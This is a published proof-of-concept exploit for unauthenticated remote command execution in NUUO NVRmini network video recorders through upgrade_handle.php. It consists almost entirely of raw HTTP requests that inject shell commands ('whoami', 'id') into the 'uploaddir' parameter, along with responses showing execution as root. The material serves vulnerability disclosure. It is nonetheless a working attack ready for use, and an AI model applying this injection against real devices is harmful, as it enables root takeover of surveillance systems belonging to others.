NUUO NVRmini upgrade_handle.php Remote Command Execution

`# Exploit Title: NUUO NVR Unauthenticated Remote Code Execution  
# Exploit Author: Berk Dusunur  
# Google Dork: N/A  
# Date: 2018-07-21  
# Vendor Homepage: http://www.nuuo.com/  
# Software Link: http://www.nuuo.com/  
# Affected Version: v2016  
# Tested on: Parrot OS  
# CVE : N/A  
  
  
# Proof Of Concept  
  
  
GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27 HTTP/1.1  
Host: target:50000  
Connection: keep-alive  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en  
  
HTTP/1.1 200 OK  
X-Powered-By: PHP/5.6.13  
Content-type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Date: Sat, 21 Jul 2018 15:54:09 GMT  
Server: lighttpd/1.4.39  
  
upload_tmp_dir=/mtd/block3 root  
  
GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27 HTTP/1.1  
Host: target:5000  
Connection: keep-alive  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en  
  
  
  
HTTP/1.1 200 OK  
X-Powered-By: PHP/5.6.13  
Content-type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Date: Sat, 21 Jul 2018 15:54:09 GMT  
Server: lighttpd/1.4.39  
  
  
upload_tmp_dir=/mtd/block3 uid=0(root) gid=0(root)  
  
`